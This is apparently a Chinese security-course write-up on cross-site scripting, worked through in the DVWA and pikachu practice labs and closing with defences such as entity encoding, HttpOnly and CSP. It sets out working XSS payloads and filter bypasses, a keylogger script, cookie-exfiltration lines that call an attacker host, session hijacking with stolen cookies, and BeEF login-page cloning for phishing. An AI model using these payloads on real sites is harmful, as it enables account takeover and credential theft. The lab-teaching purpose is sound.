XSS跨站脚本攻击漏洞

发布于:2025-04-20 ⋅ 阅读:(16) ⋅ 点赞:(0)

目录

一、基本概念

二、XSS分类

1、反射型XSS

2、存储型XSS

3、DOM型XSS

三、手工测试

1、反射型XSS漏洞

(1)安全等级low

(2)DOM的XSS

(3)安全等级medium

(4)安全等级high

2、存储型XSS漏洞

(1)安全等级low

(2)安全等级medium

(3)安全等级high

四、XSS盲打

五、XSS键盘记录

六、XSS平台利用--获取cookie

1、初始化自带的XSS后台

2、前台XSS盲打攻击获取cookie

3、BeEF-XSS获取cookie

(1)BeEF的安装和配置

(2)BeEF克隆其他网站

(3)使用beef获取cookie值

七、XSS防御绕过

1、过滤不严格

2、HTML实体编码

八、XSS防御

1、输入检查

2、HTML实体编码

3、HTTPonly

4、内容安全策略

作业


一、基本概念

  • 跨站脚本攻击主要针对的是用户层面的攻击。恶意攻击者往WEB页面内插入恶意脚本,当用户浏览该页面时,嵌入web里面的恶意代码就会被执行,从而达到恶意攻击用户的目的。有两个前提条件:一个是是否能够插入恶意脚本或者JS代码;一个是这个恶意代码是否能够被执行。

  • 在WEB页面上,有一种常见的功能是:将用户输入的内容输出到页面上。但是如果输入的内容是一段经过构造的JS代码,提交之后再次访问这个页面时,用户就会获取该JS代码在浏览器端执行的结果。

二、XSS分类

1、反射型XSS

是一种非持久的攻击。只有攻击者诱导用户去点击URL访问网站才会造成攻击。

2、存储型XSS

是一种持久攻击。攻击者只需要将恶意代码保存在一个网页中,只要用户来访问这个页面,就会被攻击,谁来攻击谁。

3、DOM型XSS

是一种特殊的反射型XSS。DOM是文档对象模型,里面包含关于HTML的整体文档框架。我们可以通过JS操作一个一个的DOM对象,构造的恶意代码或者脚本可以处理这些DOM对象按照攻击者预设的意思或者代码逻辑进行执行,这样就造成了DOM型的XSS攻击。

三、手工测试

练习漏洞的靶场是DVWA,这里我使用的端口映射是8080.

docker pull sagikazarmark/dvwa

docker run -d -p 8080:80 sagikazarmark/dvwa

1、反射型XSS漏洞
(1)安全等级low
<script>alert(1)</script>
会造成一个弹窗。这个JS代码的语义是<script></script>是html标签,在中间的alert(1)是JS代码,会以JS代码逻辑去执行。当浏览器接收到这串代码之后,浏览器的渲染引擎认识左右两边的html标签,该标签的语义是中间写的内容都是JS代码,然后将JS代码交给解析引擎去处理,最终造成一个弹窗的结果。
​
<script>alert(XSS)</script>
会[object HTMLFormElement]报错,这是因为XSS是一个字符串,需要使用单引号括起来。
<script>alert('XSS')</script>
这样就可以弹出xss

通过标签和事件的对应关系也可以造成弹窗
<img src=## οnerrοr=alert(document.cookie)>
这是img标签,其中img_src后面应该写的一张图片的路径,当路径发生错误的之后则执行后面的事件,触发弹窗。document.cookie可以返回当前网页的cookie值。
​
事件与标签之间是一一对应的,这里a标签对应的事件是onmouseover,需要鼠标移动到a标签的位置才能触发。
<a οnmοuseοver=alert(document.cookie)>红包</a>
(2)DOM的XSS
  • 上面所述的都是只有受攻击的人自己可以看到当前网页的cookie,攻击者无法看到,这对于攻击者来说是毫无意义的。且这样只能证明存在XSS漏洞。所以我们要将cookie发送到远程服务器中。

<script>var img=document.createElement("img");img_src=alert(document.cookie);</script>
造成弹窗
<script>var img=document.createElement("img");img_src="http://xxxx/a?"+escape(document.cookie);</script>
var是用来声明一个变量,加号是用来进行拼接的,escape是一种编码方式。将收到的cookie进行escape编码然后拼接到前面的网站中,那么这个网站是攻击者的服务器,只有攻击者可以看到,而其他人看不到。攻击者可以在自己的WEB日志中进行查看,根据访问行为去获取cookie编码之后的值,然后解码得到cookie值;这里cookie编码是为了躲避安全设备的检测。
(3)安全等级medium
  • 当安全等级为中等的时候,我们通过查看dvwa网页的SQL语句会发现网站采用了$name = str_replace( '<script>', '', $_GET[ 'name' ] ); 将<script>标签过滤成为了空格。

因此输入
<script>alert(1)</script>
会返回hello alert(1),并没有造成任何弹窗,这说明<script>标签被过滤掉了

  • 方法:采用绕过的手法

    • 大小写混淆绕过:<sCripT>alert(1)</script>

    • 双写绕过:<scr<script>ipt>alert(1)</script>

    • 使用其他标签和事件对应引发弹窗:<img src=x Onerror=alert('XSS')>

(4)安全等级high
  • 当安全等级为高的时候,通过查看源代码会发现网站使用了正则匹配精准匹配到</script>该标签,这个时候我们没有办法使用绕过手法了,只能采用使用其他标签和事件对应来造成攻击。

  • 使用<img src=x Onerror=alert('XSS')>就可以造成弹窗,这里不再进行结果展示,和上面的操作是一样的。

2、存储型XSS漏洞

在进行存储型XSS漏洞的测试的时候需要完成一次攻击后就要对数据库进行更新,因为如果不更新上面一个攻击就还存在,无法确定是新的攻击生效还是旧的攻击生效。

(1)安全等级low

安全等级为low说明网站对于标签没有任何的过滤,所以很容易就造成攻击。

<script>alert(1)</script>
(2)安全等级medium
  • 有两个输入框,通过查看源代码发现在Message中使用了addslashes函数对于SQL语句进行了特殊字符转义,无法绕过,那么我们只能使用上面输入框name来进行攻击了

  • name:这个输入框采用了过滤的方式,同上面反射型的中等的情况,还有一个就是这个输入框中有字符限制,我们有两种方法进行处理

    • 一种是通过抓包,然后修改抓到的数据包进行请求包的修改,然后送过去造成攻击

    • 一种是在当前网页按F12,然后直接修改字符的长度

  • 那么在name中就可以使用大小写绕过,双写绕过和其他标签来进行攻击了。

(3)安全等级high
  • 使用的是正则匹配精准匹配,所以攻击的方式只有通过换其他标签来进行。和上面的反射型的是同样的道理。

四、XSS盲打

靶场环境是pikachu
docker pull area39/pikachu
docker run -d -p 8082:80 area39/pikachu
盲打的含义是无法在客户端看到任何反馈的信息,比如,你填写完一个调查问卷,所有的回复都是感谢您的填写,没有第二种回复,这样就没有办法根据反馈来判断输入信息的正确与否了。所以在前端我们是无法判断是否存在XSS,这种情况下,我们直接往后台插入XSS代码,然后等待,当管理员或者用户访问到目标页面的时候就会遭到XSS攻击。

XSS盲打是一种攻击场景,属于存储型XSS类型。

pikachu--cross-site-script--xss盲打--输入一句话木马然后点击提示一下,然后访问后台网址,进行登录,就会发现有弹窗,就说明攻击成功。

五、XSS键盘记录

主要的功能是监听用户的输入。主要流程是XSS攻击帮助插入脚本文件,然后脚本文件的功能是实现监听效果。在pikachu靶场中的/var/www/html/pkxss/rkeypress/目录下面有一个脚本文件rk.js

原理:
docker exec -it pikachu的运行ID /bin/bash
cd /var/www/html/pkxss/rkeypress/rk.js
vim rk.js
将脚本中的地址改为自己的靶场地址:10.0.0.161:8082
退出保存
rk.js这个脚本的功能是记录用户的输入,将记录的用户输入的内容发送给rkserver.php来进行保存,然后将其存在数据库中

具体的操作:
打开pikachu,进入XSS存储型在里面输入payload
<script src="http://10.0.0.161:8082/pkxss/rkeypress/rk.js"></script>
点击提交,然后再该页面随便输入一些字符。
之后在pikachu中点击管理工具--XSS后台,然后根据提示进行登录,然后点击键盘记录。就会发现刚在在该页面进行输入的字符都被记录了下来。

六、XSS平台利用--获取cookie

1、初始化自带的XSS后台

退出XSS后台然后重新登录进入。

2、前台XSS盲打攻击获取cookie
在后端有一个目录/var/www/html/pkxss/xcookie/下的cookie.php文件是用来收集cookie值的。
​
(1)在pikachu靶场中,进入XSS盲打界面,然后输入可以获取cookie的payload:
<script>document.write('<img src="http://10.0.0.161:8082/pkxss/xcookie/cookie.php?cookie='+document.cookie+'"/>')</script>
这个payload的意思是使用document.write向页面写一个img标签,src访问cookie.php并提供cookie值。(因为这个脚本文件就是用来收集网页的cookie的)
然后进入后台网站进行问卷调查的查看(点击提示一下,有个网站,然后进入进去就可以看到填写的内容了),然后退出登录。
​
(2)直接访问xss后台--登录--cookie值获取--就会发现相关的内容。这样就算是拿到一个cookie值了。

拿到一个cookie有什么用呢?
当我们要登录一个需要用户密码的网页的时候,如果我们的网址中携带cookie值我们就不需要输入用户名和密码了,就可以直接进行访问。
安装一个火狐插件cookie-editor(作者是cgagnier),其插件的作用主要是用来修改cookie。安装好插件之后就可以在插件中进行添加相关的cookie值:
如:ant[name];ant[pwd]等都要添加进去,添加进去之后访问后台网址是/xssblind/admin_login.php这里需要把admin_login.php改为admin.php。因为此时访问的URL是懈怠了cookie值的,所以要访问的是登录后的页面。

利用cookie的前提是该用户未关闭这个网页,因为关掉网页后cookie的值会发生变化。
有什么办法可以预防攻击者拿到cookie值之后进行登录?
网页登录开发人员可以设置禁止多人登录同一个账号
网站可以记录登录IP,若IP相同则安全,若IP不相同则拦截。拦截可以是强制都下线,或者给用户一个提示。
3、BeEF-XSS获取cookie

BeEF是web攻击平台,是一个工具,继承了很多payload,可以通过xss漏洞配合JS脚本和Metasploit(MSF攻击工具,是主机层面的漏洞攻击)进行渗透。

(1)BeEF的安装和配置
  • 首先要安装一个kali镜像

  • 然后再kali操作系统中安装beef

    sudo apt install beef-xss
  • 在配置文件中进行修改

    在/usr/share/beef-xss/config.yaml中
    将密码进行修改未123
    将监听地址改为:在自己的电脑上 桌面键+R-- cmd--ipconfig
    (
    ipv4就是自己主机的地址:192.168.3.153
    这里我的电脑打开cmd之后直接输入ipconfig会发生报错显示不是命令,然后可以手动导航
    cd C:\Windows\System32
    ipconfig
    )

  • 启动beef

    cd /usr/share/beef-xss
    ./beef
    其中有三个重要的参数
    ​Hook URL:
    UI URL:
    Restiful API key:
    登录
    usname:beef
    password:123

(2)BeEF克隆其他网站
curl -H "Content-Type: application/json; charset=UTF-8" -d '{"url":"要克隆网站的url", "mount":"克隆在哪个目录"}' -X POST
http://BEEF的URL的地址/api/seng/clone_page?token=beef的密钥
总共有四个部分需要填写
使用beef克隆一个登录页面从而获取用户名和密码
克隆页面本质只是克隆了一个页面。
这里克隆一个dvwa的登录页面,用户在克隆网站中进行登录,则在beef中可以看到用户输入的用户名和密码,达到一个钓鱼的效果。
(3)使用beef获取cookie值
payload是
<script src="HOOK URL"></script>
在XSS盲打页面提交该语句,访问留言后台
在beef中,点击上线网站--commands--点击命令getcookie--获取cookie
(这里由于谷歌浏览器有安全机制,所以该实验在谷歌浏览器中不能成功)
​
这些命令有不同的颜色:
绿色:用户可能察觉到异常
橙色:用户可能会感到异常
灰色:不确定是否能够执行
红色:无法执行
不同浏览器中命令可行性不同

七、XSS防御绕过

1、过滤不严格
pikachu中--XSS过滤--会对script标签进行过滤--这里我们可以采用大小写绕过,其他标签替换的方式来进行绕过
2、HTML实体编码
&  &amp;
"  &quot;
<   &lt;
>   &gt;
HTML编码的特点是&符号开头分号结尾。
特殊的符号经过编码之后会发生变化,从而达到预防的效果。
XSS漏洞最好的防御方法就是做实体编码
eg:
<img src="" οnerrοr=alert(1)>
==>  &lt;img src=&quot;&quot; οnerrοr=alert(1)&gt;
经过实体编码之后浏览器的渲染引擎不会对其进行识别,因此可以预防XSS漏洞。
但是在PHP中是通过htmlspecialchars()这个函数来实现HTML编码的,该函数在默认配置下,仅仅会编码双引号,故不安全。在对一个网站进行开发的时候,可以提示开发人员要对该函数进行完整的配置,使其能够对任意特殊字符都进行实体编码,达到安全的效果。

八、XSS防御

XSS攻击主要有两个重要的要素:

  • 攻击者是否能够提交恶意代码--也就是输入

  • 浏览器是否可以执行恶意代码--也就是输出

所以根本的解决方法是从输入到输出都需要进行过滤,转义。

1、输入检查

针对用户的输入进行过滤操作,但是一般情况下过滤是有限的,很容易通过大小写转换,双写,其他标签的方式绕过。

2、HTML实体编码

还可以使用Javascript编码手段。

3、HTTPonly

XSS的本质是获取cookie,而HTTPonly不是阻止XSS攻击,而是能够阻止XSS攻击之后的cookie劫持攻击。

4、内容安全策略

该防御的本质是建立白名单,只有在白名单内部的代码才能够进行执行。在网页中,这样的策略通过HTTP头信息或者meta元素进行定义。即使发生了XSS攻击,也不会加载白名单以外的来源不明的第三方脚本。也就是可以插入脚本,但是没在白名单的脚本是不可以进行执行,从而阻断了XSS攻击。

作业

上节课的剩下的一个题目:完成DVWA靶场存储型XSS的漏洞练习。

网络安全C10-2024.10.19

作业:(相关解答和实操部分均已经在上文中展示。)

1、XSS

(1)使用pikachu平台练习XSS键盘记录、前台XSS盲打攻击获取cookie,利用cookie实现登录 (2)使用beef制作钓鱼页面,克隆任意站点的登录页面并获取用户登录的账号密码


网站公告

今日签到

点亮在社区的每一天
去签到